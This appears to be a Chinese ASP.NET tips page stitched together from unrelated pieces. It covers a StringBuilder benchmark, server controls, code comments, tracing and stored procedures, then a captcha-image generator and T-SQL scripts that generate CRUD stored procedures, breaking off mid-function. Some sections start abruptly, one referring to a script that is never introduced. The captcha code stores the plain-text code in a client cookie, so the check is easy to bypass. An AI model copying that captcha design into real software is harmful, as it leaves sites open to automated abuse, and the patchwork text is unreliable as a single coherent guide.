  字符串在.NET框架中是不可变的,这意味着改变字符串的操作符和方法会返回字符串的改变后的拷贝,这意味着性能还有提高的空间。当进行大量的字符串操作时,使用StringBuilder类就是一种比较好的选择了。

  下面的C#代码测试用二种方式从10000个子字符串中生成字符串所需要的时间。第一次使用了一个简单的字符串串联操作;第二次使用了StringBuilder类。要想查看结果字符串,可以去掉下面的代码中注解行的注解符号:

<%@ Page Language="C#" %>

<script runat="server">
void Page_Load(Object Source, EventArgs E)
{
int intLimit = 10000;
DateTime startTime;
DateTime endTime;
TimeSpan elapsedTime;
string strSub;
string strWhole = "";

// 首先执行字符串连接操作
startTime = DateTime.Now;
for (int i=0; i < intLimit; i++)
{
strSub = i.ToString();
strWhole = strWhole + " " + strSub;
}
endTime = DateTime.Now;
elapsedTime = endTime - startTime;
lblConcat.Text = elapsedTime.ToString();
// lblConcatString.Text = strWhole;

// 使用stringBuilder类进行同样的操作
startTime = DateTime.Now;
StringBuilder sb = new StringBuilder();
for (int i=0; i < intLimit; i++)
{
strSub = i.ToString();
sb.Append(" ");
sb.Append(strSub);
}
endTime = DateTime.Now;
elapsedTime = endTime - startTime;
lblBuild.Text = elapsedTime.ToString();
// lblBuildString.Text = sb.ToString();
}

</script>

<html>
<body>
<form runat="server">

<h1>String Concatenation Benchmark</h1>

Concatenation:
<asp:Label
id="lblConcat"
runat="server"/>

<br/>

<asp:Label
id="lblConcatString"
runat="server"/>

<br/>
<br/>

StringBuilder:
<asp:Label
id="lblBuild"
runat="server"/>

<br/>

<asp:Label
id="lblBuildString"
runat="server"/>

</form>
</body>
</html>

 


  二种方式的差别是相当大的:使用StringBuilder类的Append方法的速度比使用字符串连接的速度快近200倍。

5、只在必要时使用服务器端控件


  ASP.NET中新引入了一种在服务器端运行的被称作Web Server Controls的控件,在代码中,它们经常通过下面的语法被说明:

<asp:TextBox id="txtLastName" size="40" runat="server" />


  它们有时也被称作ASP控件。服务器端控件是由runat属性指示的,它的值总是“server”。
通过添加runat属性,一般的HTML控件可以被很方便地转换到服务器端运行,下面是一个简单的例子:

<input type="text" id="txtLastName" size="40" runat="server" />


  可以通过id属性中指定的名字,我们可以引用程序中的控件,可以通过编程的方式设置属性和获得值,因此,服务器端处理方式有较大的灵活性。

  这种灵活性是有一定代价的。每种服务器端控件都会消耗服务器上的资源。另外,除非控件、网页或应用程序明确地禁止view state,控件的状态是包含在view state的隐藏域中,并在每次回送中都会被传递,这会引起严重的性能下降。

  在这方面的一个很好的例子是,网页上控件表格的应用,如果不需要在代码中引用表格中的元素,则使用无需进行服务器端处理的HTML表格。我们仍然可以在HTML表格单元中放置服务器控件,并在代码中引用服务器控件。如果需要引用任意的表格元素,例如指定的单元,则整个表格必须是服务器控件。

  6. HyperLink控件、LinkButton控件的差别

  对于Web访问者而言,HyperLink、LinkButton控件是一样的,但它们在功能方面仍然有较大的差异。
当用户点击控件时,HyperLink控件会立即将用户“导航”到目标URL,表件不会回送到服务器上。 LinkButton控件则首先将表件发回到服务器,然后将用户导航到目标URL。如果在“到达”目标URL之前需要进行服务器端处理,则使用LinkButton控件;如果无需进行服务器端处理,则可以使用HyperLink控件。

  7、注释代码

  这一技巧并不是针对ASP.NET的,但它是一个良好的编程习惯。

  注释不仅仅应当说明代码会执行什么操作,还应当注明原因。例如,不要仅仅在注释中说明是在遍历数组,而是要说明遍历数组是根据某一算法计算一个值,除非算法是相当简单的,否则还应当对算法进行简要的说明。

  .NET工程中的不同的编程语言都有各自不同的注释符号,下面是一个简要的说明:


HTML <!-- 注释 -->
JavaScript // 注释
VBScript ' 注释
VB.NET ' 注释
C# // 注释
/* 多行内容
的注释
*/
SQL -- 注释


  在服务器控件的开始和结束标记中没有注释符号,但服务器能够忽略掉所有它不能识别的属性,因此我们能够通过使用没有定义的属性来插入注释。下面是一个例子:

<asp:TextBox id="txtLastName" size="40" comment="这是我的注释" runat="server" />


  在Visual Studio .NET中对源代码进行注释非常简单。高亮度显示需要注释的行,然后按Ctrl+K+C组合键添加注释。要删除注释,只需高亮度显示被注释的代码,并按下Ctrl+K+U组合键。

  在C#工程中,我们还可以通过在每行的开始处使用///输入XML注释小节。在注释小节中,我们可以使用下面的XML标记组织注释:


<summary></summary>
<remarks></remarks >
<param></param>
<returns></returns>
<newpara></newpara>


  要在Visual Studio .NET中查看这些XML注释的格式化的报告,我们可以首先选择“工具”菜单项,然后选择“建立注释Web网页”菜单项。

8、使用trace方法和trace属性记录Page目录中网页的执行情况

  调试程序的一种古老的技术是在程序中的关健点插入输出语句,通常情况下,输出信息中会包含重要变量的值,相关信息可以输出到屏幕、日志文件或者数据库。

  在ASP.NET中,通过使用Page命令中的trace属性,这种调试技术的使用更简单了。Page命令是ASPX文件开始处的一行代码,它提供编译器的指示。Page命令中包含一个或多个属性,向编译器提供使用的编程语言、代码支持文件的位置或要继承的类的名字等信息。

  Page命令中的属性之一是trace,其值可能是true或false,下面是一个典型的Page命令,其中的trace属性的值是true:


<%@ Page language="c#" trace="true" %>


  如果trace属性的值设置为true,由ASPX文件生成的Web页就会显示出来,除了网页本身外,关于该页的大量其他信息也会显示出来。这些信息以下面小节的形式显示在一张表格中:

  ·Request细节 提供Session ID、请求时间和请求的状态码。
  ·Trace Information 包含跟踪日志、网页生命周期中按时间先后顺序各个步骤的列表。另外,也可以向其中添加定制信息。
  ·控件树 以一种分层次的方式列出网页上的所有控件,包括每个控件以字节计算的大小。
  ·Cookies集合 列出该网页创建的所有Cookie。
  ·头部集合 HTTP头部以及它们的值。
  ·Server变量 与该网页相关的Server环境变量。

  包含在Trace Information小节中的跟踪日志是最有用的,在这里我们可以插入自己的跟踪命令。trace类中有2个方法能够在跟踪日志中插入命令:Trace.Write和Trace.Warn,除了Trace.Warn命令用红色字体显示、Trace.Write命令用黑色字体显示外,它们是相同的。下面是跟踪日志的一个屏幕快照,其中包含有几个Trace.Warn命令。

  跟踪日志中最方便的功能是我们可以在开发和测试过程中在整个代码中插入Trace.Write和Trace.Warn语句,而在最终交付应用程序时,可以通过改变Page命令中trace属性的值,禁止这些命令起作用,而无需在部署应用软件前删除这些输出语句。

  9、使用存储过程

  微软公司的SQL Server和其他现代关系数据库都使用SQL命令定义和处理查询。一个SQL语句或一系列SQL语句提交给SQL Server,SQL Server会对命令进行解析,然后创建一个查询计划并对它进行优化,然后执行该查询计划,这都需要大量的时间。

  存储过程是一系列被查询处理器预解析和优化的SQL命令,这些命令会被存储起来,可以得到快速地执行。存储过程也被称作sprocs,它可以接收输入参数,使一个单一的存储过程能够处理较大范围的特定的查询。

  因为sprocs是预先被解析的,对于复杂的查询更显得重要,其查询计划是预先优化的,因此调用查询过程比执行相同功能的SQL语句速度要快得多。

  10、使用.NET命令行

  .NET命令行工具在命令提示符窗口中运行。为了使命令能够执行,它必须驻留在命令提示符的当前目录中,或通过设置PATH环境变量。

  .NET SDK在“启动”菜单上安装一个菜单项,该菜单项能够打开一个正确设置了PATH环境变量的命令提示符窗口。我们可以通过依次点击“开始”->“程序”->“Microsoft Visual Studio .NET”->“Visual Studio .NET工具”->“Visual Studio .NET命令提示符”,启动命令提示符窗口。

  通过在将该菜单项从菜单上拖到桌面上时,同时按Ctrl+C键,就可以将该菜单项的快捷方式拷贝到桌面上,使用起来会非常方便。
   新建一个页面image.aspx,添加命名空间:

using System.Drawing.Imaging;
using System.IO;

然后在Page_load事件拷入如下代码:

   string tmp = RndNum(4);
   HttpCookie a = new HttpCookie("ImageV",tmp);  
   Response.Cookies.Add(a);
   this.ValidateCode(tmp);

接下来向该页面添加两个方法:

private void ValidateCode(string VNum)
  {
   Bitmap Img=null;
   Graphics g=null;
   MemoryStream ms=null;
   int gheight=VNum.Length*12;
   Img=new Bitmap(gheight,25);
   g=Graphics.FromImage(Img);
   //背景颜色
   g.Clear(Color.White);
   //文字字体
   Font f=new Font("Arial Black",10);
   //文字颜色
   SolidBrush s=new SolidBrush(Color.Black);
   g.DrawString(VNum,f,s,3,3);
   ms=new MemoryStream();
   Img.Save(ms,ImageFormat.Jpeg);
   Response.ClearContent();
   Response.ContentType="image/Jpeg";
   Response.BinaryWrite(ms.ToArray());
  
   g.Dispose();
   Img.Dispose();
   Response.End();
  }

  private string RndNum(int VcodeNum)
  {
   string Vchar="0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p"+
    ",q,r,s,t,u,v,w,x,y,z";
   string[] VcArray=Vchar.Split(new Char [] {','});
   string VNum="";
   int temp=-1;

   Random rand=new Random();
  
   for(int i=1;i<VcodeNum+1;i++)
   {
    if(temp!=-1)
    {
     rand=new Random(i*temp*unchecked((int)DateTime.Now.Ticks));
    }
  
    int t=rand.Next(35);
    if(temp!=-1&&temp==t)
    {
     return RndNum(VcodeNum);
    }
    temp=t;
    VNum+=VcArray[t];
   }
   return VNum;
  }

如果要在页面a.aspx生成验证码,则在该页面添加一个图片控件,假设命名为:ImageButton1,然后在page_Load事件中写如下代码:

ImageButton1.ImageUrl = "image.aspx";

这样就可以生成验证码了,image.aspx页面可以随便放在哪里,不过要注意ImageButton1.ImageUrl 要写对,同级可以直接写image.aspx,上一级写../image.aspx,很方便吧。

运行完,你会看到多了四个存储过程

pr__SYS_MakeInsertRecordProc

pr__SYS_MakeUpdateRecordProc

pr__SYS_MakeSelectRecordProc

pr__SYS_MakeDeleteRecordProc

执行方式:在查询分析器中执行

pr__SYS_MakeInsertRecordProc '表名'         --得到插入语句

pr__SYS_MakeInsertRecordProc '表名',1    --得到插入语句,并创建Insert存储过程

 

完整脚本如下:

SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

 

 


CREATE      PROC pr__SYS_MakeDeleteRecordProc
 @sTableName varchar(128),
 @bExecute bit = 0
AS

IF dbo.fnTableHasPrimaryKey(@sTableName) = 0
 BEGIN
 RAISERROR ('Procedure cannot be created on a table with no primary key.', 10, 1)
 RETURN
 END

DECLARE @sProcText varchar(8000),
 @sKeyFields varchar(2000),
 @sWhereClause varchar(2000),
 @sColumnName varchar(128),
 @nColumnID smallint,
 @bPrimaryKeyColumn bit,
 @nAlternateType int,
 @nColumnLength int,
 @nColumnPrecision int,
 @nColumnScale int,
 @IsNullable bit,
 @IsIdentity int,
 @sTypeName varchar(128),
 @sDefaultValue varchar(4000),
 @sCRLF char(2),
 @sTAB char(1)

SET @sTAB = char(9)
SET  @sCRLF = char(13) + char(10)

SET  @sProcText = ''
SET  @sKeyFields = ''
SET @sWhereClause = ''

SET  @sProcText = @sProcText + 'IF EXISTS(SELECT * FROM sysobjects WHERE name = ''prApp_' + @sTableName + '_Delete'')' + @sCRLF
SET  @sProcText = @sProcText + @sTAB + 'DROP PROC prApp_' + @sTableName + '_Delete' + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF

SET  @sProcText = @sProcText + @sCRLF

PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

SET  @sProcText = ''
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + '-- Delete a single record from ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + 'CREATE PROC prApp_' + @sTableName + '_Delete' + @sCRLF

DECLARE crKeyFields cursor for
 SELECT *
 FROM dbo.fnTableColumnInfo(@sTableName)
 ORDER BY 2

OPEN crKeyFields

FETCH  NEXT
FROM  crKeyFields
INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
 @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
 @IsIdentity, @sTypeName, @sDefaultValue
   
WHILE (@@FETCH_STATUS = 0)
 BEGIN

 IF (@bPrimaryKeyColumn = 1)
  BEGIN
  IF (@sKeyFields <> '')
   SET @sKeyFields = @sKeyFields + ',' + @sCRLF
 
  SET @sKeyFields = @sKeyFields + @sTAB + '@' + @sColumnName + ' ' + @sTypeName

  IF (@nAlternateType = 2) --decimal, numeric
   SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnPrecision AS varchar(3)) + ', '
     + CAST(@nColumnScale AS varchar(3)) + ')'
 
  ELSE IF (@nAlternateType = 1) --character and binary
   SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnLength AS varchar(4)) +  ')'
 
  IF (@sWhereClause = '')
   SET @sWhereClause = @sWhereClause + 'WHERE '
  ELSE
   SET @sWhereClause = @sWhereClause + ' AND '

  SET @sWhereClause = @sWhereClause + @sTAB + @sColumnName  + ' = @' + @sColumnName + @sCRLF
  END

 FETCH  NEXT
 FROM  crKeyFields
 INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
  @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
  @IsIdentity, @sTypeName, @sDefaultValue
 END

CLOSE crKeyFields
DEALLOCATE crKeyFields

SET  @sProcText = @sProcText + @sKeyFields + @sCRLF
SET  @sProcText = @sProcText + 'AS' + @sCRLF
SET  @sProcText = @sProcText + @sCRLF
SET  @sProcText = @sProcText + 'DELETE ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + @sWhereClause
SET  @sProcText = @sProcText + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF


PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

 

 

 

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

 

 

 

CREATE       PROC pr__SYS_MakeInsertRecordProc
 @sTableName varchar(128),
 @bExecute bit = 0
AS

IF dbo.fnTableHasPrimaryKey(@sTableName) = 0
 BEGIN
 RAISERROR ('Procedure cannot be created on a table with no primary key.', 10, 1)
 RETURN
 END

DECLARE @sProcText varchar(8000),
 @sKeyFields varchar(2000),
 @sAllFields varchar(2000),
 @sAllParams varchar(2000),
 @sWhereClause varchar(2000),
 @sColumnName varchar(128),
 @nColumnID smallint,
 @bPrimaryKeyColumn bit,
 @nAlternateType int,
 @nColumnLength int,
 @nColumnPrecision int,
 @nColumnScale int,
 @IsNullable bit,
 @IsIdentity int,
 @HasIdentity int,
 @sTypeName varchar(128),
 @sDefaultValue varchar(4000),
 @sCRLF char(2),
 @sTAB char(1)

SET  @HasIdentity = 0
SET @sTAB = char(9)
SET  @sCRLF = char(13) + char(10)
SET  @sProcText = ''
SET  @sKeyFields = ''
SET @sAllFields = ''
SET @sWhereClause = ''
SET @sAllParams  = ''

SET  @sProcText = @sProcText + 'IF EXISTS(SELECT * FROM sysobjects WHERE name = ''prApp_' + @sTableName + '_Insert'')' + @sCRLF
SET  @sProcText = @sProcText + @sTAB + 'DROP PROC prApp_' + @sTableName + '_Insert' + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF

SET  @sProcText = @sProcText + @sCRLF

PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

SET  @sProcText = ''
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + '-- Insert a single record into ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + 'CREATE PROC prApp_' + @sTableName + '_Insert' + @sCRLF

DECLARE crKeyFields cursor for
 SELECT *
 FROM dbo.fnTableColumnInfo(@sTableName)
 ORDER BY 2

OPEN crKeyFields


FETCH  NEXT
FROM  crKeyFields
INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
 @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
 @IsIdentity, @sTypeName, @sDefaultValue
   
WHILE (@@FETCH_STATUS = 0)
 BEGIN
 IF (@IsIdentity = 0)
  BEGIN
  IF (@sKeyFields <> '')
   SET @sKeyFields = @sKeyFields + ',' + @sCRLF

  SET @sKeyFields = @sKeyFields + @sTAB + '@' + @sColumnName + ' ' + @sTypeName

  IF (@sAllFields <> '')
   BEGIN
   SET @sAllParams = @sAllParams + ', '
   SET @sAllFields = @sAllFields + ', '
   END

  IF (@sTypeName = 'timestamp')
   SET @sAllParams = @sAllParams + 'NULL'
  ELSE IF (@sDefaultValue IS NOT NULL)
   SET @sAllParams = @sAllParams + 'COALESCE(@' + @sColumnName + ', ' + @sDefaultValue + ')'
  ELSE
   SET @sAllParams = @sAllParams + '@' + @sColumnName

  SET @sAllFields = @sAllFields + @sColumnName

  END
 ELSE
  BEGIN
  SET @HasIdentity = 1
  END

 IF (@nAlternateType = 2) --decimal, numeric
  SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnPrecision AS varchar(3)) + ', '
    + CAST(@nColumnScale AS varchar(3)) + ')'

 ELSE IF (@nAlternateType = 1) --character and binary
  SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnLength AS varchar(4)) +  ')'

 IF (@IsIdentity = 0)
  BEGIN
  IF (@sDefaultValue IS NOT NULL) OR (@IsNullable = 1) OR (@sTypeName = 'timestamp')
   SET @sKeyFields = @sKeyFields + ' = NULL'
  END

 FETCH  NEXT
 FROM  crKeyFields
 INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
  @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
  @IsIdentity, @sTypeName, @sDefaultValue
 END

CLOSE crKeyFields
DEALLOCATE crKeyFields

SET  @sProcText = @sProcText + @sKeyFields + @sCRLF
SET  @sProcText = @sProcText + 'AS' + @sCRLF
SET  @sProcText = @sProcText + @sCRLF
SET  @sProcText = @sProcText + 'INSERT ' + @sTableName + '(' + @sAllFields + ')' + @sCRLF
SET  @sProcText = @sProcText + 'VALUES (' + @sAllParams + ')' + @sCRLF
SET  @sProcText = @sProcText + @sCRLF

IF (@HasIdentity = 1)
 BEGIN
 SET  @sProcText = @sProcText + 'RETURN SCOPE_IDENTITY()' + @sCRLF
 SET  @sProcText = @sProcText + @sCRLF
 END

IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF


PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

 

 

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

 

 

CREATE     PROC pr__SYS_MakeSelectRecordProc
 @sTableName varchar(128),
 @bExecute bit = 0
AS

IF dbo.fnTableHasPrimaryKey(@sTableName) = 0
 BEGIN
 RAISERROR ('Procedure cannot be created on a table with no primary key.', 10, 1)
 RETURN
 END

DECLARE @sProcText varchar(8000),
 @sKeyFields varchar(2000),
 @sSelectClause varchar(2000),
 @sWhereClause varchar(2000),
 @sColumnName varchar(128),
 @nColumnID smallint,
 @bPrimaryKeyColumn bit,
 @nAlternateType int,
 @nColumnLength int,
 @nColumnPrecision int,
 @nColumnScale int,
 @IsNullable bit,
 @IsIdentity int,
 @sTypeName varchar(128),
 @sDefaultValue varchar(4000),
 @sCRLF char(2),
 @sTAB char(1)

SET @sTAB = char(9)
SET  @sCRLF = char(13) + char(10)

SET  @sProcText = ''
SET  @sKeyFields = ''
SET @sSelectClause = ''
SET @sWhereClause = ''

SET  @sProcText = @sProcText + 'IF EXISTS(SELECT * FROM sysobjects WHERE name = ''prApp_' + @sTableName + '_Select'')' + @sCRLF
SET  @sProcText = @sProcText + @sTAB + 'DROP PROC prApp_' + @sTableName + '_Select' + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF

SET  @sProcText = @sProcText + @sCRLF

PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

SET  @sProcText = ''
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + '-- Select a single record from ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + 'CREATE PROC prApp_' + @sTableName + '_Select' + @sCRLF

DECLARE crKeyFields cursor for
 SELECT *
 FROM dbo.fnTableColumnInfo(@sTableName)
 ORDER BY 2

OPEN crKeyFields

FETCH  NEXT
FROM  crKeyFields
INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
 @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
 @IsIdentity, @sTypeName, @sDefaultValue
   
WHILE (@@FETCH_STATUS = 0)
 BEGIN
 IF (@bPrimaryKeyColumn = 1)
  BEGIN
  IF (@sKeyFields <> '')
   SET @sKeyFields = @sKeyFields + ',' + @sCRLF
 
  SET @sKeyFields = @sKeyFields + @sTAB + '@' + @sColumnName + ' ' + @sTypeName
 
  IF (@nAlternateType = 2) --decimal, numeric
   SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnPrecision AS varchar(3)) + ', '
     + CAST(@nColumnScale AS varchar(3)) + ')'
 
  ELSE IF (@nAlternateType = 1) --character and binary
   SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnLength AS varchar(4)) +  ')'

  IF (@sWhereClause = '')
   SET @sWhereClause = @sWhereClause + 'WHERE '
  ELSE
   SET @sWhereClause = @sWhereClause + ' AND '

  SET @sWhereClause = @sWhereClause + @sTAB + @sColumnName  + ' = @' + @sColumnName + @sCRLF
  END

 IF (@sSelectClause = '')
  SET @sSelectClause = @sSelectClause + 'SELECT'
 ELSE
  SET @sSelectClause = @sSelectClause + ',' + @sCRLF

 SET @sSelectClause = @sSelectClause + @sTAB + @sColumnName

 FETCH  NEXT
 FROM  crKeyFields
 INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
  @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
  @IsIdentity, @sTypeName, @sDefaultValue
 END

CLOSE crKeyFields
DEALLOCATE crKeyFields

SET  @sSelectClause = @sSelectClause + @sCRLF

SET  @sProcText = @sProcText + @sKeyFields + @sCRLF
SET  @sProcText = @sProcText + 'AS' + @sCRLF
SET  @sProcText = @sProcText + @sCRLF
SET  @sProcText = @sProcText + @sSelectClause
SET  @sProcText = @sProcText + 'FROM ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + @sWhereClause
SET  @sProcText = @sProcText + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF


PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

 

 

 

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

 

 

 

 

CREATE         PROC pr__SYS_MakeUpdateRecordProc
 @sTableName varchar(128),
 @bExecute bit = 0
AS

IF dbo.fnTableHasPrimaryKey(@sTableName) = 0
 BEGIN
 RAISERROR ('Procedure cannot be created on a table with no primary key.', 10, 1)
 RETURN
 END

DECLARE @sProcText varchar(8000),
 @sKeyFields varchar(2000),
 @sSetClause varchar(2000),
 @sWhereClause varchar(2000),
 @sColumnName varchar(128),
 @nColumnID smallint,
 @bPrimaryKeyColumn bit,
 @nAlternateType int,
 @nColumnLength int,
 @nColumnPrecision int,
 @nColumnScale int,
 @IsNullable bit,
 @IsIdentity int,
 @sTypeName varchar(128),
 @sDefaultValue varchar(4000),
 @sCRLF char(2),
 @sTAB char(1)

SET @sTAB = char(9)
SET  @sCRLF = char(13) + char(10)

SET  @sProcText = ''
SET  @sKeyFields = ''
SET @sSetClause = ''
SET @sWhereClause = ''

SET  @sProcText = @sProcText + 'IF EXISTS(SELECT * FROM sysobjects WHERE name = ''prApp_' + @sTableName + '_Update'')' + @sCRLF
SET  @sProcText = @sProcText + @sTAB + 'DROP PROC prApp_' + @sTableName + '_Update' + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF

SET  @sProcText = @sProcText + @sCRLF

PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

SET  @sProcText = ''
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + '-- Update a single record in ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + '----------------------------------------------------------------------------' + @sCRLF
SET  @sProcText = @sProcText + 'CREATE PROC prApp_' + @sTableName + '_Update' + @sCRLF

DECLARE crKeyFields cursor for
 SELECT *
 FROM dbo.fnTableColumnInfo(@sTableName)
 ORDER BY 2

OPEN crKeyFields


FETCH  NEXT
FROM  crKeyFields
INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
 @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
 @IsIdentity, @sTypeName, @sDefaultValue
   
WHILE (@@FETCH_STATUS = 0)
 BEGIN
 IF (@sKeyFields <> '')
  SET @sKeyFields = @sKeyFields + ',' + @sCRLF

 SET @sKeyFields = @sKeyFields + @sTAB + '@' + @sColumnName + ' ' + @sTypeName

 IF (@nAlternateType = 2) --decimal, numeric
  SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnPrecision AS varchar(3)) + ', '
    + CAST(@nColumnScale AS varchar(3)) + ')'

 ELSE IF (@nAlternateType = 1) --character and binary
  SET @sKeyFields =  @sKeyFields + '(' + CAST(@nColumnLength AS varchar(4)) +  ')'

 IF (@bPrimaryKeyColumn = 1)
  BEGIN
  IF (@sWhereClause = '')
   SET @sWhereClause = @sWhereClause + 'WHERE '
  ELSE
   SET @sWhereClause = @sWhereClause + ' AND '

  SET @sWhereClause = @sWhereClause + @sTAB + @sColumnName  + ' = @' + @sColumnName + @sCRLF
  END
 ELSE
  IF (@IsIdentity = 0)
   BEGIN
   IF (@sSetClause = '')
    SET @sSetClause = @sSetClause + 'SET'
   ELSE
    SET @sSetClause = @sSetClause + ',' + @sCRLF
   SET @sSetClause = @sSetClause + @sTAB + @sColumnName  + ' = '
   IF (@sTypeName = 'timestamp')
    SET @sSetClause = @sSetClause + 'NULL'
   ELSE IF (@sDefaultValue IS NOT NULL)
    SET @sSetClause = @sSetClause + 'COALESCE(@' + @sColumnName + ', ' + @sDefaultValue + ')'
   ELSE
    SET @sSetClause = @sSetClause + '@' + @sColumnName
   END

 IF (@IsIdentity = 0)
  BEGIN
  IF (@IsNullable = 1) OR (@sTypeName = 'timestamp')
   SET @sKeyFields = @sKeyFields + ' = NULL'
  END

 FETCH  NEXT
 FROM  crKeyFields
 INTO  @sColumnName, @nColumnID, @bPrimaryKeyColumn, @nAlternateType,
  @nColumnLength, @nColumnPrecision, @nColumnScale, @IsNullable,
  @IsIdentity, @sTypeName, @sDefaultValue
 END

CLOSE crKeyFields
DEALLOCATE crKeyFields

SET  @sSetClause = @sSetClause + @sCRLF

SET  @sProcText = @sProcText + @sKeyFields + @sCRLF
SET  @sProcText = @sProcText + 'AS' + @sCRLF
SET  @sProcText = @sProcText + @sCRLF
SET  @sProcText = @sProcText + 'UPDATE ' + @sTableName + @sCRLF
SET  @sProcText = @sProcText + @sSetClause
SET  @sProcText = @sProcText + @sWhereClause
SET  @sProcText = @sProcText + @sCRLF
IF @bExecute = 0
 SET  @sProcText = @sProcText + 'GO' + @sCRLF


PRINT @sProcText

IF @bExecute = 1
 EXEC (@sProcText)

 

 

 

 

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

CREATE FUNCTION dbo.fnCleanDefaultValue(@sDefaultValue varchar(4000))
RETURNS varchar(4000)
AS
BEGIN
 RETURN SubString(@sDefaultValue, 2, DataLength(@sDefaultValue)-2)
END

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

CREATE FUNCTION dbo.fnColumnDefault(@sTableName varchar(128), @sColumnName varchar(128))
RETURNS varchar(4000)
AS
BEGIN
 DECLARE @sDefaultValue varchar(4000)

 SELECT @sDefaultValue = dbo.fnCleanDefaultValue(COLUMN_DEFAULT)
 FROM INFORMATION_SCHEMA.COLUMNS
 WHERE TABLE_NAME = @sTableName
  AND  COLUMN_NAME = @sColumnName

 RETURN  @sDefaultValue

END

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

 

 

CREATE   FUNCTION dbo.fnIsColumnPrimaryKey(@sTableName varchar(128), @nColumnName varchar(128))
RETURNS bit
AS
BEGIN
 DECLARE @nTableID int,
  @nIndexID int,
  @i int
 
 SET  @nTableID = OBJECT_ID(@sTableName)
 
 SELECT  @nIndexID = indid
 FROM  sysindexes
 WHERE  id = @nTableID
  AND  indid BETWEEN 1 And 254
  AND  (status & 2048) = 2048
 
 IF @nIndexID Is Null
  RETURN 0
 
 IF @nColumnName IN
  (SELECT sc.[name]
  FROM  sysindexkeys sik
   INNER JOIN syscolumns sc ON sik.id = sc.id AND sik.colid = sc.colid
  WHERE  sik.id = @nTableID
   AND  sik.indid = @nIndexID)
  BEGIN
  RETURN 1
  END


 RETURN 0
END

 

 

 

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

 

 

 

CREATE       FUNCTION dbo.fnTableColumnInfo(@sTableName varchar(128))
RETURNS TABLE
AS
 RETURN
 SELECT c.name AS sColumnName,
  c.colid AS nColumnID,
  dbo.fnIsColumnPrimaryKey(@sTableName, c.name) AS bPrimaryKeyColumn,
  CASE  WHEN t.name IN ('char', 'varchar', 'binary', 'varbinary', 'nchar', 'nvarchar') THEN 1
